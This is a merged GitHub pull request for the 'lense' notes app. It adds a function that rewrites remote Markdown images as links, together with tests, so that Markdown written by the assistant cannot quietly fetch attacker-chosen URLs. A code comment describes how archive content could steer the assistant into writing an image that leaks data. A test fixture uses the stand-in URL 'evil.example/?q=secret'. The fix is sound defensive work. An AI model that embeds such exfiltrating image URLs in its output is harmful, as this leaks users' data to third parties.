8000 fix(notes): don't fetch web images in Markdown the assistant writes by adeelahmad · Pull Request #194 · adeelahmad/lense · GitHub
[go: up one dir, main page]

Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
19 changes: 18 additions & 1 deletion nextjs-frontend/__tests__/notes-links.test.ts
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
import { hrefFor, pageOf } from "@/components/notes/links";
import { hrefFor, pageOf, remoteImagesAsLinks } from "@/components/notes/links";

describe("links in notes", () => {
it("open the thing in the app", () => {
Expand All @@ -20,3 +20,20 @@ describe("links in notes", () => {
expect(pageOf("entity:5")).toBe("/notes/about/entity/5");
});
});

describe("remoteImagesAsLinks", () => {
it("turns web images into links, so opening a page fetches nothing", () => {
expect(remoteImagesAsLinks("Look ![chart](https://evil.example/?q=secret) here")).toBe(
"Look [chart](https://evil.example/?q=secret) here",
);
expect(remoteImagesAsLinks('![x](http://a.example/i.png "title")')).toBe('[x](http://a.example/i.png "title")');
expect(remoteImagesAsLinks("![x][ref]\n\n[ref]: https://a.example/i.png")).toBe(
"[x][ref]\n\n[ref]: https://a.example/i.png",
);
});

it("leaves other Markdown alone", () => {
const md = "# Title\n\n[a link](https://a.example) and ![](data:image/png;base64,AAAA) and @[Ada](entity:5)";
expect(remoteImagesAsLinks(md)).toBe(md);
});
});
8 changes: 6 additions & 2 deletions nextjs-frontend/components/notes/block-editor.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ import "@toeverything/theme/style.css";

import { useEffect, useRef } from "react";

import { remoteImagesAsLinks } from "@/components/notes/links";
import { cn } from "@/lib/utils";

export type LinkTarget = { target: string; label: string; kind: string };
Expand Down Expand Up @@ -120,7 +121,10 @@ export default function BlockEditor({
} else {
const job = new store.Job({ collection });
const made = markdown.trim()
? await new blocks.MarkdownAdapter(job).toDoc({ file: markdown, assets: job.assetsManager })
? await new blocks.MarkdownAdapter(job).toDoc({
file: remoteImagesAsLinks(markdown),
assets: job.assetsManager,
})
: undefined;
if (made) id = made.id;
else {
Expand All @@ -143,7 +147,7 @@ export default function BlockEditor({
if (target && markdown.trim()) {
const job = new store.Job({ collection });
const slice = await new blocks.MarkdownAdapter(job).toSliceSnapshot({
file: markdown,
file: remoteImagesAsLinks(markdown),
assets: job.assetsManager,
workspaceId: collection.id,
pageId: page.id,
Expand Down
9 changes: 9 additions & 0 deletions nextjs-frontend/components/notes/links.ts
Original file line number Diff line number Diff line change
Expand Up @@ -33,3 +33,12 @@ export const PLACES = [
{ value: "resource", label: "Resource" },
{ value: "archive", label: "Archive" },
] as const;

/** Markdown images from the web, as links. BlockSuite's Markdown importer fetches every http(s) image as the page
* opens, so an image in Markdown the assistant or the API wrote (text that content in the archive can steer) would
* send whatever its address holds to that site without a click. Links still need one. */
export function remoteImagesAsLinks(markdown: string): string {
return markdown
.replace(/!\[([^\]]*)\]\(\s*(<?https?:[^)]*)\)/gi, "[$1]($2)")
.replace(/!\[([^\]]*)\]\[([^\]]*)\]/g, "[$1][$2]");
}
Loading
0